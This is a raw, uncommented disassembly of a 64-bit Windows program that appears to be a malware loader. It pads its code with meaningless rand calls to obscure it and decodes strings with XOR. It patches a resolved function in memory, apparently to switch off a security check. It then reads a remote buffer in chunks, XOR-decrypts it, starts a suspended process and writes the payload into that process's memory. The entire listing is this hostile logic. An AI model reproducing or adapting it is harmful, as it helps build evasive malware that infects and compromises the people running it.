call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov dword [rbp + 0xe0], 0
call sub.msvcrt.dll_rand
cmp eax, 0x88
je 0x1400033c0
mov edx, dword [r15 + 8]
mov ecx, dword [r15 + 0xc]
add rcx, rbx
mov r8d, 0x40
lea r9, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov r8d, dword [r15 + 8]
mov edx, dword [r15 + 0xc]
lea rcx, [rdx + rbx]
add rdx, qword [rbp + 0x7d8]
call sub.msvcrt.dll_memcpy
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xe7
je 0x140003420
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xeb
je 0x140003430
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xbd
je 0x140003440
mov edx, dword [r15 + 8]
mov ecx, dword [r15 + 0xc]
add rcx, rbx
mov r8d, dword [rbp + 0xe0]
lea r9, [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1400032f0
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x830]
call rsi
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0x840]
call rsi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x29
je 0x1400034c0
mov r13, qword [rbp + 0x808]
mov rsi, qword [rbp + 0x838]
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x8a
je 0x1400034e0
mov rcx, qword [rbp + 0x848]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
push rsi
pop rcx
nop
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x64
je 0x140003510
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x21
je 0x140003530
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov dword [rbp + 0x898], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x7f
je 0x140003570
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 9
call sub.msvcrt.dll_malloc
or esi, esi
mov r14d, 0x31
mov ecx, 0xd3
cmove ecx, r14d
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c260]
mov edi, 0xd3
movd dword [rax], xmm0
mov edx, ecx
xor dl, 0xfd
mov byte [rax + 4], dl
mov edx, ecx
xor dl, 0xb7
mov byte [rax + 5], dl
xor cl, 0xbf
mov byte [rax + 6], cl
mov byte [rax + 7], cl
mov byte [rax + 8], 0
push rax
nop
pop rcx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
push rax
pop rsi
nop
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or ebx, ebx
cmove edi, r14d
movd xmm0, edi
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c270]
movq qword [rax], xmm0
mov ecx, edi
xor cl, 0x91
mov byte [rax + 8], cl
mov ecx, edi
xor cl, 0xa6
mov byte [rax + 9], cl
mov ecx, edi
xor cl, 0xb5
mov byte [rax + 0xa], cl
mov byte [rax + 0xb], cl
mov ecx, edi
xor cl, 0xb6
mov byte [rax + 0xc], cl
xor dil, 0xa1
mov byte [rax + 0xd], dil
mov byte [rax + 0xe], 0
nop
push rsi
pop rcx
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
push rax
nop
pop rsi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xb
je 0x140003660
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x21
je 0x140003680
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf8
je 0x140003690
add rsi, 0x83
lea r9, [rbp + 0x898]
mov edx, 1
push rsi
pop rcx
nop
mov r8d, 0x40
call r13
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 5
je 0x1400036c0
call sub.msvcrt.dll_rand
or eax, eax
mov eax, 0xbe
mov ecx, 0x5c
cmove ecx, eax
mov byte [rsi], cl
call sub.msvcrt.dll_rand
cmp eax, 0xf3
je 0x1400036e0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov r8d, dword [rbp + 0x898]
lea r9, [rbp + 0x898]
mov edx, 1
push rsi
nop
pop rcx
call r13
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xb5
je 0x140003780
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa2
je 0x1400037b0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xa
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xd3
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c280]
movd dword [rax], xmm0
movdqa xmmword [rbp + 0x6f0], xmm0
movzx ecx, byte [rbp + 0x6f1]
mov byte [rax + 4], cl
mov r8d, edx
xor r8b, 0xb2
mov byte [rax + 5], r8b
mov r8d, edx
xor r8b, 0xb7
mov byte [rax + 6], r8b
mov byte [rax + 7], cl
xor dl, 0xa1
mov byte [rax + 8], dl
mov byte [rax + 9], 0
mov dword [rsp + 0x20], 0
push rax
nop
pop rcx
sub edx, edx
sub r8d, r8d
sub r9d, r9d
call qword [rbp + 0x820]
push rax
pop rsi
nop
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x16
je 0x140003860
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa4
je 0x140003870
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 0x21
call sub.msvcrt.dll_malloc
or ebx, ebx
mov edx, 0x31
mov ecx, 0xd3
cmove ecx, edx
mov edx, ecx
xor dl, 0xbb
mov byte [rax], dl
mov edx, ecx
xor dl, 0xa7
mov byte [rax + 1], dl
mov byte [rax + 2], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c290]
pxor xmm1, xmm0
pxor xmm2, xmm2
movdqa xmm3, xmm1
punpcklbw xmm3, xmm2
pshufhw xmm2, xmm3, 0x6c
pshufd xmm2, xmm2, 0x2e
pshuflw xmm2, xmm2, 0x73
pshufhw xmm2, xmm2, 7
pshufd xmm3, xmm3, 0x27
pshuflw xmm3, xmm3, 0xec
pshufd xmm3, xmm3, 0x27
pshuflw xmm3, xmm3, 0xa4
pshufhw xmm3, xmm3, 0x93
packuswb xmm3, xmm2
movdqu xmmword [rax + 3], xmm3
movdqa xmmword [rbp + 0x860], xmm1
movzx edx, byte [rbp + 0x864]
mov byte [rax + 0x13], dl
movzx edx, byte [rbp + 0x860]
movzx r8d, byte [rbp + 0x862]
mov byte [rax + 0x14], r8b
mov byte [rax + 0x15], dl
pxor xmm0, xmmword [0x14000c2a0]
movd dword [rax + 0x16], xmm0
movdqa xmmword [rbp + 0x700], xmm0
movzx edx, byte [rbp + 0x700]
mov byte [rax + 0x1a], dl
mov edx, ecx
xor dl, 0xb7
mov byte [rax + 0x1b], dl
movzx edx, byte [rbp + 0x865]
mov byte [rax + 0x1c], dl
mov edx, ecx
xor dl, 0xb1
mov byte [rax + 0x1d], dl
mov edx, ecx
xor dl, 0xba
mov byte [rax + 0x1e], dl
xor cl, 0xbd
mov byte [rax + 0x1f], cl
mov byte [rax + 0x20], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r15d, r15d
push rsi
pop rcx
nop
nop
push rax
pop rdx
sub r8d, r8d
sub r9d, r9d
call qword [rbp + 0x828]
push rax
pop rsi
nop
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
lea rdx, [rbp + 0xe0]
lea r9, [rbp + 0x89c]
push rsi
pop rcx
nop
mov r8d, 0x400
call qword [rbp + 0x888]
or eax, eax
je 0x140003ab5
cmp dword [rbp + 0x89c], 0
mov r12d, 0
je 0x140003ab8
xor r12d, r12d
lea rbx, [rbp + 0xe0]
lea r14, [rbp + 0x89c]
xor r15d, r15d
mov edi, r12d
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x71
je 0x140003a10
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov r12d, dword [rbp + 0x89c]
lea edx, [r12 + rdi]
mov rcx, r15
call sub.msvcrt.dll_realloc
mov r15, rax
movsxd rcx, edi
add rcx, rax
push rbx
nop
pop rdx
mov r8, r12
call sub.msvcrt.dll_memcpy
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov r12d, dword [rbp + 0x89c]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x15
je 0x140003a80
add r12d, edi
push rsi
nop
pop rcx
nop
push rbx
pop rdx
mov r8d, 0x400
mov r9, r14
call qword [rbp + 0x888]
or eax, eax
je 0x140003ab8
cmp dword [rbp + 0x89c], 0
jne 0x140003a00
jmp 0x140003ab8
xor r12d, r12d
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
movsxd rdi, r12d
push rdi
pop rcx
nop
call sub.msvcrt.dll_malloc
push rax
nop
pop rbx
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x69
je 0x140003af0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xee
je 0x140003b00
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x52
je 0x140003b10
call sub.msvcrt.dll_rand
test r12d, r12d
je 0x140003c70
or eax, eax
mov ecx, 0x31
mov eax, 0xd3
cmove eax, ecx
sub ecx, ecx
cmp r12d, 8
jb 0x140003bfe
nop
push rbx
pop rdx
sub rdx, r15
cmp rdx, 0x20
jb 0x140003bfe
movzx edx, al
cmp r12d, 0x20
jae 0x140003b60
sub ecx, ecx
jmp 0x140003bba
push rdi
pop rcx
nop
and rcx, 0xffffffffffffffe0
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
sub r8d, r8d
nop dword [rax]
movdqu xmm1, xmmword [r15 + r8]
movdqu xmm2, xmmword [r15 + r8 + 0x10]
pxor xmm1, xmm0
pxor xmm2, xmm0
movdqu xmmword [rbx + r8], xmm1
movdqu xmmword [rbx + r8 + 0x10], xmm2
add r8, 0x20
cmp rcx, r8
jne 0x140003b80
cmp rcx, rdi
je 0x140003c70
test dil, 0x18
je 0x140003bfe
mov r8, rcx
push rdi
nop
pop rcx
and rcx, 0xfffffffffffffff8
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
nop word cs:[rax + rax]
movq xmm1, qword [r15 + r8]
pxor xmm1, xmm0
movq qword [rbx + r8], xmm1
add r8, 8
cmp rcx, r8
jne 0x140003be0
cmp rcx, rdi
je 0x140003c70
push rcx
pop rdx
nop
not rdx
add rdx, rdi
mov r8, rdi
and r8, 3
je 0x140003c24
movzx r9d, byte [r15 + rcx]
xor r9b, al
mov byte [rbx + rcx], r9b
inc rcx
dec r8
jne 0x140003c10
cmp rdx, 3
jb 0x140003c70
nop word [rax + rax]
movzx edx, byte [r15 + rcx]
xor dl, al
mov byte [rbx + rcx], dl
movzx edx, byte [r15 + rcx + 1]
xor dl, al
mov byte [rbx + rcx + 1], dl
movzx edx, byte [r15 + rcx + 2]
xor dl, al
mov byte [rbx + rcx + 2], dl
movzx edx, byte [r15 + rcx + 3]
xor dl, al
mov byte [rbx + rcx + 3], dl
add rcx, 4
cmp rdi, rcx
jne 0x140003c30
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf
je 0x140003c70
mov dword [rbp + 0x894], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
lea r9, [rbp + 0x894]
push rbx
nop
pop rcx
nop
push rdi
pop rdx
mov r8d, 0x40
call r13
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa3
je 0x140003cd0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf7
je 0x140003ce0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc8
je 0x140003cf0
pxor xmm6, xmm6
movdqa xmmword [rbp + 0x640], xmm6
movdqa xmmword [rbp + 0x630], xmm6
movdqa xmmword [rbp + 0x620], xmm6
movdqa xmmword [rbp + 0x610], xmm6
movdqa xmmword [rbp + 0x600], xmm6
movdqa xmmword [rbp + 0x5f0], xmm6
mov qword [rbp + 0x650], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
movdqa xmmword [rbp + 0x870], xmm6
mov qword [rbp + 0x880], 0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa9
je 0x140003d80
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x1a
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0xd3
cmove ecx, edx
mov edx, ecx
xor dl, 0x90
mov byte [rax], dl
mov edx, ecx
xor dl, 0xe9
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c2b0]
mov byte [rax + 1], dl
movdqa xmmword [rbp + 0x7b0], xmm0
movzx edx, byte [rbp + 0x7b0]
movzx r8d, byte [rbp + 0x7b5]
mov byte [rax + 2], dl
movq qword [rax + 3], xmm0
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], dl
mov edx, ecx
xor dl, 0xb6
mov byte [rax + 0xd], dl
mov r9d, ecx
xor r9b, 0xab
mov byte [rax + 0xe], r9b
mov r10d, ecx
xor r10b, 0xa3
mov byte [rax + 0xf], r10b
mov r10d, ecx
xor r10b, 0xbf
mov byte [rax + 0x10], r10b
mov byte [rax + 0x11], r8b
mov r8d, ecx
xor r8b, 0xa1
mov byte [rax + 0x12], r8b
mov byte [rax + 0x13], dl
mov byte [rax + 0x14], r8b
xor cl, 0xfd
mov byte [rax + 0x15], cl
mov byte [rax + 0x16], dl
mov byte [rax + 0x17], r9b
mov byte [rax + 0x18], dl
mov byte [rax + 0x19], 0
lea rcx, [rbp + 0x870]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x5f0]
mov qword [rsp + 0x40], rcx
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
nop
push rax
pop rcx
sub edx, edx
sub r8d, r8d
sub r9d, r9d
call qword [rbp + 0x7f0]
mov r14, qword [rbp + 0x870]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xe4
je 0x140003ea0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rsi, qword [rbp + 0x878]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0x870]
call fcn.140001eb0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0x870]
call fcn.140001b70
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rcx, qword [rbp + 0x870]
call fcn.1400017e0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x5b
je 0x140003f30
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov dword [rsp + 0x20], 0x40
mov rcx, r14
sub edx, edx
mov r8, rdi
mov r9d, 0x1000
call qword [rbp + 0x7f8]
mov r15, rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov qword [rsp + 0x20], 0
mov rcx, r14
mov rdx, r15
mov r8, rbx
mov r9, rdi
call qword [rbp + 0x800]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
call sub.msvcrt.dll_rand
cmp eax, 0x1f
je 0x140003fc0
mov rcx, r15
push rsi
pop rdx
nop
sub r8d, r8d
call qword [rbp + 0x810]
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x57
je 0x140003fe0
nop
push rsi
pop rcx
call qword [rbp + 0x818]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xea
je 0x140004000
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd5
je 0x140004010
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xb0
je 0x140004020
lea rdx, [rbp - 0x30]
sub ecx, ecx
mov r8d, 0x104
call qword [rbp + 0x7e0]
nop
call sub.msvcrt.dll_rand
cmp eax, 0xc9
je 0x140004040
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
lea rdx, [rbp + 0x4e0]
mov ecx, 0x104
call qword [rbp + 0x7e8]
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xfd
je 0x140004070
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xc
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0xd3
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c2c0]
movdqa xmmword [rbp + 0x7c0], xmm0
movzx ecx, byte [rbp + 0x7c4]
movzx r8d, byte [rbp + 0x7c7]
mov byte [rax], cl
movq qword [rax + 1], xmm0
xor dl, 0xab
mov byte [rax + 9], dl
mov byte [rax + 0xa], r8b
mov byte [rax + 0xb], 0
lea rcx, [rbp + 0x4e0]
push rax
nop
pop rdx
call sub.msvcrt.dll_strcat
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
sub eax, eax
movaps xmm6, xmmword [rbp + 0x8a0]
add rsp, 0x938
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret